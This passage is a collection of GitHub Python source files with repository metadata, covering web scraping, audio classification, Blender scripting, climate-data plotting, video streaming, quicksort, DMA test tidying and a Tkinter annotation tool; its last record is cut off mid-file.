+{"seq_id":"73365796854","text":"import datetime\nimport re\nfrom io import BytesIO\nfrom typing import TypedDict\n\nfrom dateutil import parser\nfrom selectolax.parser import HTMLParser\n\nfrom shinobi.decorators.return_error_decorator import return_on_error\nfrom shinobi.utilities.regex import RegexHelper\nfrom shinobi.utilities.string import StringHelper\n\n\nclass StaffImageDictionary(TypedDict):\n    image: BytesIO\n    mimetype: str\n\n\nclass StaffDictionary(TypedDict):\n    mal_id: str\n    name: str\n    staff_image: StaffImageDictionary\n    given_name: str\n    family_name: str\n    alternate_name: list[str]\n    birthday: datetime.datetime\n    about: str\n\n\nclass StaffParser:\n    def __init__(self, html: str):\n        self.parser = self.get_parser(html)\n\n        # Facades\n        self.regex_helper = RegexHelper()\n        self.string_helper = StringHelper()\n\n    @staticmethod\n    def get_parser(html) -> HTMLParser:\n        return HTMLParser(html)\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_url(self) -> str:\n        return self.parser.css_first(\"meta[property='og:url']\").attributes[\"content\"]\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_id(self) -> str:\n        return self.regex_helper.get_id_from_url(self.get_staff_url)\n\n    @property\n    @return_on_error({})\n    def get_staff_image(self) -> StaffImageDictionary:\n        url = self.parser.css_first(\"meta[property='og:image']\").attributes[\"content\"]\n        if url:\n            res = self.client.get(url)\n            return {\n                \"image\": BytesIO(res.content),\n                \"mimetype\": url.split(\".\")[-1],\n            }\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_name(self) -> str:\n        return self.parser.css_first(\"meta[property='og:title']\").attributes[\"content\"]\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_about(self) -> str:\n        return self.parser.css_first(\n            \"div#content table tr td.borderClass .people-informantion-more\"\n        ).text()\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_family_name(self) -> str:\n        node = self.parser.css_first(\"#content table tr td.borderClass\")\n        matches = node.select(\"span\").text_contains(\"Family name:\").matches\n        if len(matches) > 1:\n            raise ValueError(\"There are more than one node in family name node\")\n\n        # MAL screwed up the HTML here\n        html_match = re.search(\n            r\"Family name:(.*?)(Alternate names|Birthday|Website|Member Favorites|More)\",\n            matches[0].parent.text(),\n        )\n        family_name = self.string_helper.cleanse(html_match.group(1))\n        # MyAnimeList has it Empty in places\n        # raise AttributeError so we can return None\n        if not family_name:\n            raise AttributeError(\"Can't find family name using regex\")\n\n        return family_name\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_given_name(self) -> str:\n        node = self.parser.select(\"span\").text_contains(\"Given name:\").matches\n        if len(node) > 1:\n            raise ValueError(\"There are more than one node in given name node\")\n\n        given_name = self.string_helper.cleanse(node[0].next.text())\n        if not given_name:\n            raise AttributeError(\"Can't find given name\")\n\n        return given_name\n\n    @property\n    @return_on_error([])\n    def get_staff_alternate_name(self) -> str:\n        node = self.parser.css_first(\"div#content table tr td.borderClass\")\n        matches = node.select(\"div span\").text_contains(\"Alternate names:\").matches\n\n        if len(matches) > 1:\n            raise ValueError(\"There are more than one node in alternate name node\")\n\n        names = matches[0].next.text().split(\",\")\n        alternate_name = [self.string_helper.cleanse(name) for name in names]\n\n        return alternate_name\n\n    @property\n    @return_on_error(\"\")\n    def get_staff_birthday(self) -> str:\n        node = self.parser.css_first(\"div#content table tr td.borderClass\")\n        matches = node.select(\"div span\").text_contains(\"Birthday:\").matches\n        if len(matches) > 1:\n            raise ValueError(\"There are more than one node in birthday node\")\n\n        birthday = parser.parse(self.string_helper.cleanse(matches[0].next.text()))\n        return birthday\n\n    def build_dictionary(self) -> StaffDictionary:\n        dictionary: StaffDictionary = {\n            \"mal_id\": self.get_staff_id,\n            \"name\": self.get_staff_name,\n            \"given_name\": self.get_staff_given_name,\n            \"family_name\": self.get_staff_family_name,\n            \"alternate_name\": self.get_staff_alternate_name,\n            \"birthday\": self.get_staff_birthday,\n            \"about\": self.get_staff_about,\n            \"staff_image\": self.get_staff_image,\n        }\n        return dictionary\n","repo_name":"baseplate-admin/CoreProject","sub_path":"backend/shinobi/parser/staff.py","file_name":"staff.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"21"}
+{"seq_id":"36474595321","text":"from Enums import SNR\nfrom create_data import create_data\nfrom evaluation import calculate_hter, plot_confusion_matrix, predict, average_of_neighbors\nfrom model import create_rgb_model\nfrom train import train\n\nif __name__ == '__main__':\n    path_data = './QUT-NOISE-TIMIT/'\n    snr = SNR.FIVE\n    path_save = \"./rgb_spectrograms/\"\n    x_train, y_train, x_test, y_test, frames, frames_test = create_data(path_data, path_save, snr, recreate=False)\n\n    model = create_rgb_model()\n    model = train(model, x_train, y_train, epochs=5)\n\n    # Evaluate\n    predictions = predict(model, x_test)\n    cf_matrix = plot_confusion_matrix(predictions, y_test, percentage=False)\n\n    hter, mr, far = calculate_hter(cf_matrix)\n\n    print(f'The HTER is {hter}% for SNR {snr.value}, with MR being {mr} and FAR being {far}')\n\n    # Post-processing\n    predictions_post_processing = average_of_neighbors(predictions, 5)\n    cf_matrix = plot_confusion_matrix(predictions_post_processing, y_test, percentage=False)\n\n    hter, mr, far = calculate_hter(cf_matrix)\n\n    print(f'The post-processed HTER is {hter}% for SNR {snr.value}, with MR being {mr} and FAR being {far}')\n","repo_name":"nadbot/Exploring-Convolutional-Neural-Networks-for-Voice-Activity-Detection","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72905130293","text":"print(\"Area of rectangle [Calculator]\\n\")\n#asks the user what the width of the rectangle is. (float)\nwidth = float(input(\"Width: \"))\n#asks the user what the height of the rectangle is. (float)\nheight = float(input(\"Height: \"))\n#calculates area\nsum = (width * height)\n#prints the calculated answer in 2 decimal places\nprint(\"\\nArea of Rectangle:\", round(sum, 2))\n#makes sure the user clicks enter before the \"console\" closes. this allows them to see the answer instead of the console closing instantly\ninput()","repo_name":"JacProsser/college","sub_path":"Assignment 1 - Procedural Programming/Python Challenges (1-30)/Challenge 3.py","file_name":"Challenge 3.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1125838029","text":"import bpy\nimport bmesh\n\n#define function that will deselect every other vert from all verts selected\ndef checkered_deselect(obj, bm):\n    selected_verts = [v for v in bm.verts if v.select]\n    for i, vert in enumerate(selected_verts):\n        if i % 2 == 1:\n            vert.select = False\n    bm.select_flush(False)\n\nobj = bpy.context.object\nif obj and obj.type == 'MESH':\n    bpy.ops.object.mode_set(mode='EDIT')\n    bm = bmesh.from_edit_mesh(obj.data)\n    checkered_deselect(obj, bm)\n    bmesh.update_edit_mesh(obj.data)\nelse:\n    print(\"Please select a mesh object.\")\n\n#space out the verts (requires looptools addon)\nbpy.ops.mesh.looptools_space(influence=100, input='selected', interpolation='cubic', lock_x=False, lock_y=False, lock_z=False)\n","repo_name":"LeoFdAguiar/LFdA-Blender-Scripts","sub_path":"checkered-deselect-islands.py","file_name":"checkered-deselect-islands.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28008027534","text":"from scipy.io import netcdf\nimport cartopy.crs as ccrs\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport os\nimport xarray as xr\nfrom sif_utils import plot_histogram\n\nDATA_DIR = \"/mnt/beegfs/bulk/mirror/jyf6/datasets\"\nFILE_PATH = os.path.join(DATA_DIR, 'FLDAS/FLDAS_NOAH01_C_GL_M.A201808.001.nc.SUB.nc4')\nSTART_DATE = '2018-08-01'\nEND_DATE = '2018-08-16'\nPLOT_FOLDER = './exploratory_plots/FLDAS'\n\nif not os.path.exists(PLOT_FOLDER):\n    os.makedirs(PLOT_FOLDER)\n\n\ndataset = xr.open_dataset(FILE_PATH)\n\n# Variables: Rainf_f_tavg, Rainf_f_tavg, Rainf_f_tavg\nprint(\"======================================================\")\nprint(\"Dataset variables:\", dataset)\nprint(\"======================================================\")\n\n# Plot the distribution of temperature (across all time/space)\n# all_rainfall = dataset.Rainf_f_tavg.values.flatten()\n# all_rainfall = all_rainfall[~np.isnan(all_rainfall)]\n# n, bins, patches = plt.hist(all_rainfall, 100, facecolor='blue', alpha=0.5)\n# plt.title('Temp values: August 1-16, 2018')\n# plt.xlabel('Temp')\n# plt.ylabel('Number of pixels')\n\n# plt.savefig(os.path.join(PLOT_FOLDER, 'all_temp.png'))\n# plt.close()\n\n# data_array = dataset.dcSIF.sel(time=START_DATE)\n# # bfill('time', 10)\n# # SIF should never be negative, so replace any negatives or NaN with 0\n# data_array = data_array.fillna(0)\n# data_array = data_array.where(data_array >= 0, 0)\n# print(data_array)\n\n\n# Select date range\ndata_array = dataset.Rainf_f_tavg.sel(time=slice(START_DATE, END_DATE)).mean(dim='time')\nprint(\"Temp array shape\", data_array.shape)\nprint(\"Array\", data_array)\n\n# Interpolate to higher resolution\nnew_lat = np.linspace(38, 48.7, 1000)\nnew_lon = np.linspace(-108, -82, 1000)\nreprojected_fldas_dataset = dataset.interp(X=new_lon, Y=new_lat).mean(dim='time')\ninterpolated_temps = reprojected_fldas_dataset.Rainf_f_tavg\n\n# Compute the min/max values for plotting\ninterpolated_values = interpolated_temps.values.flatten()\ninterpolated_values = interpolated_values[~np.isnan(interpolated_values)]\nplot_histogram(interpolated_values, \"FLDAS/Rainf_f_tavg_region_histogram.png\", title=\"Rainf_f_tavg\")\nmin_value = np.min(interpolated_values)\nmax_value = np.max(interpolated_values)\n\n# Plot uninterpolated data\nplt.figure(figsize=(21,9))\ncolor_map = plt.get_cmap('Blues')\nax = plt.axes(projection=ccrs.PlateCarree())\nax.set_global()\ndata_array.plot.pcolormesh(ax=ax, transform=ccrs.PlateCarree(), x='X', y='Y', vmin=min_value,\n                                vmax=max_value, cmap=color_map)\nax.coastlines()\nplt.title('Rainf_f_tavg, average from ' + START_DATE + ' to ' + END_DATE)\nplt.savefig(os.path.join(PLOT_FOLDER, 'Rainf_f_tavg_' + START_DATE + '_to_' + END_DATE + '_global.png'))\nplt.close()\n\n# Plot interpolated data\nplt.figure(figsize=(21,9))\nax = plt.axes(projection=ccrs.PlateCarree())\nax.set_global()\ninterpolated_temps.plot.pcolormesh(ax=ax, transform=ccrs.PlateCarree(), x='X', y='Y', vmin=min_value,\n                                vmax=max_value, cmap=color_map)\nax.coastlines()\nplt.title('(INTERPOLATED) Rainf_f_tavg, average from ' + START_DATE + ' to ' + END_DATE)\nplt.savefig(os.path.join(PLOT_FOLDER, 'Rainf_f_tavg_INTERPOLATED_' + START_DATE + '_to_' + END_DATE + '_global.png'))\nplt.close()\n\n\n\n\n# Example: get value at specific lat/long\nprint(\"Value at 100W, 45N:\", data_array.sel(Y=40.95, X=-100.15, method='nearest'))\n","repo_name":"joshuafan/Vegetation_SIF_Downscaling_CSSUNet","sub_path":"old_files_2/process_fldas_files.py","file_name":"process_fldas_files.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"33350007167","text":"import cv2\n\ngst_str_rtp = \"appsrc ! videoconvert ! x264enc tune=zerolatency bitrate=500 speed-preset=superfast ! rtph264pay ! udpsink host=127.0.0.1 port=5000\"\nfourcc = cv2.VideoWriter_fourcc(*'H264')\nmanda = \"sout=#rtp{dst=127.0.0.1,port=5000,mux=ts}\"\nHOST = '127.0.0.1'\nPORT = 5000\nfps = 30.\nframe_width = 1280\nframe_height = 720\nprint(cv2.getBuildInformation())\n\nclass Streamto(object):\n    def __init__(self):\n        # Using OpenCV to capture from device 0. If you have trouble capturing\n        # from a webcam, comment the line below out and use a video file\n        # instead.\n        self.video = cv2.VideoWriter(gst_str_rtp, 0, fps, (frame_width, frame_height), True)\n\n    def __del__(self):\n        self.video.release()\n\n    def send(self, frame):\n        self.video.write(frame)\n","repo_name":"bohmax/tirocinio","sub_path":"Sviluppo/0prove/Stream_out.py","file_name":"Stream_out.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38652260785","text":"import unittest\nimport random\nimport sys\nimport math\nimport operator\n\ndebug = False\ncompareCount = 0\n\n# Performs quicksort on a global array (in place)\ndef quicksort(l,r,pivotType='rand'):\n\n  global arr\n  global compareCount \n  global debug \n  \n  length = r-l+1\n  if (length <= 1): return\n\n  # add to comparecount\n  compareCount += length - 1\n  \n  pivot = choosePivot(l,r,pivotType)\n  pivotVal = arr[pivot]\n  [left,right] = partition(l,r,pivot)\n    \n  lengthLeft = left[1]-left[0]+1\n  lengthRight = right[1]-right[0]+1\n\n  if (lengthLeft > 0):\n    quicksort(left[0],left[1],pivotType)\n  \n  if (lengthRight > 0):\n    quicksort(right[0],right[1],pivotType)\n\n  return arr\n\ndef partition(l,r,p):\n  \n  global arr\n  \n  # Swap pivot to first position\n  pivotVal = swapPivot(l,p)\n\n  i = l+1\n  for j in range(l+1,r+1):\n    if (arr[j] < pivotVal):\n      # Swap first element known to be larger with the current\n      current = arr[j]\n      firstLarge = arr[i]\n      arr[i] = current\n      arr[j] = firstLarge\n      # Increment divider between smaller and larger sections\n      i += 1\n\n  # Swap pivot into correct place\n  lastSmall = arr[i-1]\n  arr[i-1] = pivotVal\n  arr[l] = lastSmall\n\n  # Build arrays with pointers\n  left = [l,i-2]\n  right = [i,r]\n  return [left,right]\n\n# Swap pivot element with first of array section\ndef swapPivot(l,p):\n  global arr\n  pivotVal = arr[p]\n  firstVal = arr[l]\n  arr[l] = pivotVal\n  arr[p] = firstVal\n  return pivotVal\n\n# Choose the pivot based on the type\ndef choosePivot(l,r, pivotType='first'):\n  global arr\n  global debug\n  if (pivotType == 'first'):\n    return l\n  elif (pivotType == 'last'):\n    return r\n  elif (pivotType == 'med3'):\n    middle = l + math.floor((r-l)/2)\n    three = [(l,arr[l]),(middle,arr[middle]),(r,arr[r])]\n    three.sort(key = operator.itemgetter(1))\n    return three[1][0]\n  else:\n    return random.randrange(l,r+1)\n\n#========= Test Cases =========#\n\n### Actual Assignment input\ntext_file = open(\"./ex3input.txt\", \"r\")\narr = text_file.read().splitlines()\nfor i in range(len(arr)):\n  arr[i] = int(arr[i])\nsys.setrecursionlimit(max(sys.getrecursionlimit(), len(arr)+10000))\nsortedArr = quicksort(0,len(arr)-1,'med3')\nprint(sortedArr)\nprint('compareCount '+str(compareCount))\n### first comparecount 162085\n### last comparecount 164123\n### med3 comparecount 138382\n\n\n### large test case\n# text_file = open(\"./ex3testcases/input_dgrcode_16_100000.txt\", \"r\")\n# arr = text_file.read().splitlines()\n# for i in range(len(arr)):\n#   arr[i] = int(arr[i])\n# sys.setrecursionlimit(max(sys.getrecursionlimit(), len(arr)+10000))\n# sortedArr = quicksort(0,len(arr)-1,'med3')\n# print(sortedArr)\n# print('compareCount '+str(compareCount))\n### first should be 2127173 => 2127173\n### last should be 2079088 => 2079088\n### med3 should be 1749103 => 1749103\n\n### small test case\n# text_file = open(\"./ex3testcases/input_dgrcode_15_20.txt\", \"r\")\n# arr = text_file.read().splitlines()\n# for i in range(len(arr)):\n#   arr[i] = int(arr[i])\n# sys.setrecursionlimit(max(sys.getrecursionlimit(), len(arr)+10000))\n# sortedArr = quicksort(0,len(arr)-1,'med3')\n# print(sortedArr)\n# print('compareCount '+str(compareCount))\n### first should be 69 => 69\n### last should be 65 => 65\n### med3 should be 56 => 56\n\n\n### small test case\n# text_file = open(\"./ex3testcases/input_dgrcode_10_10.txt\", \"r\")\n# arr = text_file.read().splitlines()\n# for i in range(len(arr)):\n#   arr[i] = int(arr[i])\n# sys.setrecursionlimit(max(sys.getrecursionlimit(), len(arr)+10000))\n# sortedArr = quicksort(0,len(arr)-1,'med3')\n# print(sortedArr)\n# print('compareCount '+str(compareCount))\n### first should be 21 => 21\n### last should be 22 => 22\n### med3 should be 20 => 20\n\n# class TestQuicksort(unittest.TestCase):\n#   def test(self):\n#     self.assertEqual(quicksort([4,5,9,4,10,6,5,3,7,8,3,7,1,2,5,7,3,2,1],False,False,'first'),[1,1,2,2,3,3,3,4,4,5,5,5,6,7,7,7,8,9,10])\n# theTest = TestQuicksort()\n# theTest.test()\n\n\n\n","repo_name":"jqlee85/algorithms","sub_path":"src/coursera/divide-and-conquer/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":3918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26436664126","text":"import sys\nimport re\n\ndef humanise_asserts(line):\n    prologue = '\\tassert(1 && '\n    epilogue = ' );\\n'\n    assert line.startswith(prologue)\n    assert line.endswith(epilogue)\n    line = line[len(prologue):-len(epilogue)]\n    asserts = line.split(' && ')\n    return ['\\tassert({0});\\n'.format(a) for a in asserts]\n\ndef arithmetic_target(value):\n    return 'AT_{0}'.format(\n        'BOTH' if value == 0 else (\n        'SOURCE_ONLY' if value == 1 else (\n        'DEST_ONLY' if value == 2 else (\n        'ERROR'))))\n\ndef int_to_macro(instruction):\n    opcode = instruction >> 28\n    reg = (instruction >> 26) & 3\n    value = instruction & 0x3FFFFFF\n    if opcode == 0:\n        return 'DMA_OP_SET(LOOP_REG_{0}, {1})'.format(reg, value)\n    elif opcode == 1:\n        return 'DMA_OP_LOOP(LOOP_REG_{0}, {1})'.format(reg, value)\n    elif opcode == 2:\n        transfer_size = 8 * (1 << ((instruction >> 25) & 0x7))\n        return 'DMA_OP_TRANSFER(TS_BITS_{0})'.format(transfer_size)\n    elif opcode == 4:\n        return 'DMA_OP_ADD({0}, {1})'.format(arithmetic_target(reg), value)\n    elif opcode == 5:\n        return 'DMA_OP_SUB({0}, {1})'.format(arithmetic_target(reg), value)\n    elif opcode == 6:\n        return 'DMA_OP_STOP'\n    else:\n        assert False\n\ndef match_to_macro(match):\n    return int_to_macro(int(match.group(0), 16))\n\ndef humanise_programs(line):\n    line = line.replace('{', '{\\n').replace('}', '\\n}').replace(',', ',\\n\\t')\n    line = re.sub('0x[0-9a-f]{8}', match_to_macro, line)\n    return line\n\ndef main():\n    new_file = []\n    with open(sys.argv[1]) as test_file:\n        for line in test_file:\n            def first_is(match):\n                return line.strip().startswith(match)\n\n            if first_is('assert(1 &&'):\n                new_file.extend(humanise_asserts(line))\n            elif (first_is('*((volatile uint8_t *)') or\n                  first_is('add_tlb_mapping')):\n                new_file.append(line.replace(';', ';\\n\\t'))\n            elif line.strip().startswith('dma_instruction *dma_program[]'):\n                new_file.append(humanise_programs(line))\n            else:\n                new_file.append(line)\n\n    with open(sys.argv[1], 'w') as test_file:\n        test_file.write(''.join(new_file))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"CTSRD-CHERI/beri","sub_path":"cheritest/trunk/fuzz_dma/humanise_test.py","file_name":"humanise_test.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"21"}
+{"seq_id":"10844826774","text":"import sys\nn, m, b = map(int, sys.stdin.readline().rstrip().split())\ndata = [list(map(int, sys.stdin.readline().rstrip().split())) for _ in range(n)]\na = []\nresult = []\nfor i in data: a += i\nfor i in range(min(a), max(a) + 1):\n    sec = 0\n    b_save = b\n    for j in data:\n        for k in j:\n            if i > k:\n                sec += i - k\n                b_save -= i - k\n            elif i < k:\n                sec += (k - i) * 2\n                b_save += k - i\n    if b_save >= 0:\n        result.append((sec, i))\nresult = sorted(result, key=lambda a:a[0])\nnow = result[0]\nfor i in range(1, len(result)):\n    if now[0] != result[i][0]:\n        break\n    if now[1] < result[i][1]:\n        now = result[i]\nprint(' '.join([str(i) for i in now]))","repo_name":"K1A2/algorithm_python","sub_path":"baekjoon/brutedorce/18111_마인크래프트.py","file_name":"18111_마인크래프트.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38082029202","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 10 00:30:18 2019\n\n@author: sagara.co@nsit.net.in, rajat.usict.101164@ipu.ac.in\n\"\"\"\n\nimport Tkinter as tk\nimport random\nimport pickle\nimport os\nimport pandas as pd\nimport tkMessageBox as messagebox\n\nusername = \"xxx\"\nuserpart = 1\nidx = 0\nlines = 0\nflag = 0\nidxfileloc = '0'\nmax_entries = 0\nunprocessed_idxs = 0\nbucket = \"\"\nunprocessed_idx = 0\nrandarr = 0\n\n# get default path\npath = os.path.dirname(os.path.abspath(__file__))\nfileHandle = open(path + '/test.txt', 'w')\n\n# get dictionary from pickle file\npickle_file = open(path + '/data/dict.pickle','rb')\nword_dict = pickle.load(pickle_file)\n\n# windpw close message  \ndef on_closing():\n\tif messagebox.askokcancel(\"Quit\", \"Do you want to quit?\"):\n\t\tfileHandle.close()\n\t\topenfile = open(idxfileloc,'w')\n\t\topenfile.write(str(max(idx,0)))\n\n\t\tdbfile = open(path + '/files/' + username + 'unprocessed.pickle','w+')\n\t\tpickle.dump(unprocessed_idxs, dbfile)\n\t\tdbfile.close()\n\n\t\tmain_window.destroy()\n\ndef on_complete():\n\tif messagebox.askokcancel(\"Annotations complete\", \"Annotations complete, Do you want to quit?\"):\n\t\tfileHandle.close()\n\t\topenfile = open(idxfileloc,'w')\n\t\topenfile.write(str(max(idx,0)))\n\t\tmain_window.destroy()\n\ndef fill_all():\n\tmessagebox.showinfo(\"Choose right\", \"You can't choose none of these, choose viable option.\")\n\treturn\n\t\t\n  \ndef meaningPressCallBack(wordMeaning):\n\tr = tk.Tk()\n\tr.withdraw()\n\tr.clipboard_clear()\n\tr.clipboard_append(wordMeaning.split('-')[0])\n\tr.update() # now it stays on the clipboard after the window is closed\n\n\ndef update():\n\tglobal idx\n\tglobal lines\n\tglobal max_entries\n\tglobal bucket\n\tglobal unprocessed_idxs\n\tglobal unprocessed_idx\n\tglobal randarr\n\n\n\tif (idx>=max_entries-1 and len(unprocessed_idxs)==0 and var1.get()!=5 and var2.get()!=5):\n\t\tfileHandle.write(str(idx) + ',' + str(randarr[var1.get()-1]) + ',' + str(randarr[var2.get()-1]) + '\\n')\n\t\ton_complete()\n\t\treturn \n\t\n\tif(flag==1):\n\t\t# add in list\n\t\tif (var1.get()==5 or var2.get()==5):\n\n\t\t\tif (bucket==\"unprocessed\"):\n\t\t\t\t# show pop-up\n\t\t\t\tfill_all()\n\t\t\t\treturn\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tunprocessed_idxs.append(idx)\n\t\t\t\tfileHandle.write(str(idx) + ',' + str(randarr[var1.get()-1]) + ',' + str(randarr[var2.get()-1]) + '\\n')\n\n\t\telif (bucket=='unprocessed'):\n\t\t\tfileHandle.write(str(idx) + ',' + str(randarr[var1.get()-1]) + ',' + str(randarr[var2.get()-1]) + '\\n')\n\t\t\tunprocessed_idxs.remove(unprocessed_idx)\n\n\n\t\telse:\n\t\t\tfileHandle.write(str(idx) + ',' + str(randarr[var1.get()-1]) + ',' + str(randarr[var2.get()-1]) + '\\n')\t\t\n\n\t\t# choose index\n\t\tunprocessed_size = len(unprocessed_idxs)\n\t\tremanining_size = max_entries-1-idx\n\t\tif (remanining_size+unprocessed_size==0):\n\t\t\ton_complete()\n\t\trandom_idx = random.randint(1,remanining_size+unprocessed_size)\n\n\t\tif random_idx > remanining_size:\n\t\t\tbucket = 'unprocessed'\n\t\t\tunprocessed_idx = unprocessed_idxs[random_idx - remanining_size - 1]\n\t\telse:\n\t\t\tbucket = 'remanining'\n\t\t\tidx+=1\n\n\tword = [0 for x in range(4)]\n\n\tif (bucket == 'unprocessed'):\n\t\tword[0] = lines.iloc[unprocessed_idx][0]\n\t\tword[1] = lines.iloc[unprocessed_idx][1]\n\t\tword[2] = lines.iloc[unprocessed_idx][2]\n\t\tword[3] = lines.iloc[unprocessed_idx][3]\n\n\telse :\n\t\tword[0] = lines.iloc[idx][0]\n\t\tword[1] = lines.iloc[idx][1]\n\t\tword[2] = lines.iloc[idx][2]\n\t\tword[3] = lines.iloc[idx][3]\n\n\trandarr = random.sample(range(0,4),4)\n\n\tsep = '#'\n\tshow1 = word[randarr[0]].split(sep, 1)[0]\n\tshow2 = word[randarr[1]].split(sep, 1)[0]\n\tshow3 = word[randarr[2]].split(sep, 1)[0]\n\tshow4 = word[randarr[3]].split(sep, 1)[0]\n\n\tmng1 = word_dict[word[randarr[0]]]\n\tmng2 = word_dict[word[randarr[1]]]\n\tmng3 = word_dict[word[randarr[2]]]\n\tmng4 = word_dict[word[randarr[3]]]\n\n\n\tw11.config(text=show1)\n\tw12.config(text=show2)\n\tw13.config(text=show3)\n\tw14.config(text=show4)\n\t\n\tw21.config(text=show1)\n\tw22.config(text=show2)\n\tw23.config(text=show3)\n\tw24.config(text=show4)\n\t\n\tw15.config(text='none of the above')\n\tw25.config(text='none of the above')\n\t\n\tmeaning1.config(text = show1 + '- ' + mng1)\n\tmeaning2.config(text = show2 + '- ' + mng2)\n\tmeaning3.config(text = show3 + '- ' + mng3)\n\tmeaning4.config(text = show4 + '- ' + mng4)\n\n\ndef raise_frame(frame):\n\n\tglobal username\n\tglobal userpart\n\tglobal idx\n\tglobal lines\n\tglobal fileHandle\n\tglobal flag\n\tglobal idxfileloc \n\tglobal max_entries\n\tglobal unprocessed_idxs\n\t\n\t# get username and lowercase it and remove leading spaces\n\tusername = Name.get().lower().lstrip()\n\t\n\t# get selected part \n\tuserpart = var_.get()\n\tlines = pd.read_csv(path + '/data/' + 'part' + str(userpart) + '.csv', 'r', encoding = 'utf-8-sig', header = None, delimiter = '\\t')\n\tstatements = lines[1:]\n\tmax_entries = lines.shape[0]\n\n\tfileloc = path + '/files/' + username + '.txt'\n\t\n\tif (os.path.exists(fileloc) == False):\n\t\tfileHandle = open(fileloc, 'w')\n\t\tfileHandle.close()\n\t\tfileHandle = open(fileloc, 'a')\n\telse :\n\t\tfileHandle = open(fileloc, 'a')\n\t\n\t\n\t# get idx from idx file\n\tidxfileloc = path + '/files/' + username + 'idx.txt'\n\t\n\tif (os.path.exists(idxfileloc)):\n\t\tidxfile = open(idxfileloc)\n\t\tidxline = idxfile.readlines()\n\t\tidxfile.close()\n\t\tidx  = int(idxline[0])\n\telse :\n\t\tidxfile = open(idxfileloc, 'w')\n\t\tidxfile.close()\n\t\tidx = 0\n\t\n\t# get unprocessed indexes data from pickle file if present\n\n\tunprocessed_idx_file = path + '/files/' + username + 'unprocessed.pickle'\n\n\tif (os.path.exists(unprocessed_idx_file)):\n\t\tunprocessed_idx_file_pickle = open(unprocessed_idx_file,'rb')\n\t\tunprocessed_idxs =   pickle.load(unprocessed_idx_file_pickle)\n\telse :\n\t\tunprocessed_idx_file_pickle = open(unprocessed_idx_file,\"wb\")\n\t\tunprocessed_idxs = []\n\n\n\n\tupdate()\n\tflag = 1\n\n\tregister_frame.destroy()\n\tmain_frame.pack()\n\tframe.tkraise()\n\t\n\n\n# main window\nmain_window = tk.Tk()\nmain_window.geometry('1080x920')\n\n# frames\nregister_frame = tk.Frame(main_window)\nmain_frame = tk.Frame(main_window)\nregister_frame.pack()\n\t\n# place label\ninfo = tk.Label(register_frame, font=(\"Courier\", 15), text = 'Write your name, \\n choose your section and then press OK')\ninfo.grid(row = 0, column = 0)\ninfo.grid_propagate(0)\n\n# place name\nvar = tk.StringVar()\nName = tk.Entry(register_frame, textvariable = var, width=20)\nName.grid(row = 0, column = 1)\n\n# choose option\nvar_ = tk.IntVar()\nop1 = tk.Radiobutton(register_frame, text='Part 1', bg = 'ivory2', value = 1, variable = var_).grid(row = 1, column = 2)\nop2 = tk.Radiobutton(register_frame, text='Part 2', bg = 'ivory2', value = 2, variable = var_).grid(row = 1, column = 3)\nop3 = tk.Radiobutton(register_frame, text='Part 3', bg = 'ivory2', value = 3, variable = var_).grid(row = 1, column = 4)\nop4 = tk.Radiobutton(register_frame, text='Part 4', bg = 'ivory2', value = 4, variable = var_).grid(row = 1, column = 5)\nop5 = tk.Radiobutton(register_frame, text='Test Part', bg = 'ivory2', value = 5, variable = var_).grid(row = 1, column = 6)\n\n#choose OK\nbutton = tk.Button(register_frame, height = 2, width = 4, text = 'OK', command = lambda: raise_frame(main_frame)).grid(row=4, column=1)\n\n\n# frames\nfrm0 = tk.Frame(main_frame, width = 480, height = 100, bd=0, bg='white')\nfrm0.grid(row = 0, column = 0, padx=(0,4), pady=(32,0))\n\nfrm01 = tk.Frame(main_frame, width = 480, height = 100, bd=0, bg='white')\nfrm01.grid(row = 0, column = 1, padx=(0,4), pady=(32,0))\n\nfrm1 = tk.Frame(main_frame, width =480, height= 180, bd=10, bg='ivory2')\nfrm1.grid(row = 1, column = 0, padx=(0,4), pady=(32,0))\nfrm1.grid_propagate(0)\n\nfrm2 = tk.Frame(main_frame, width =480, height= 180, bd=10, bg='ivory2')\nfrm2.grid(row = 1, column = 1,padx=(4,0), pady=(32,0))\nfrm2.grid_propagate(0)\n\nfrm7 = tk.Frame(main_frame, width =480, height= 180, bd=10, bg='ivory2')\nfrm7.grid(row = 2, column = 0, pady = (32,0))\nfrm7.grid_propagate(0)\n\nfrm8 = tk.Frame(main_frame, width =480, height= 180, bd=10, bg='white')\nfrm8.grid(row = 2, column = 1, pady=(32,0))\nfrm8.grid_propagate(0)\n\n# define labels\nlabel0 = tk.Label(frm0, font=(\"Helvetica\", 34), text = 'Please read the meanings first,')\nlabel0.place(x=10,y=10)\n\nlabel01 = tk.Label(frm01, font=(\"Helvetica\", 34), text = 'then 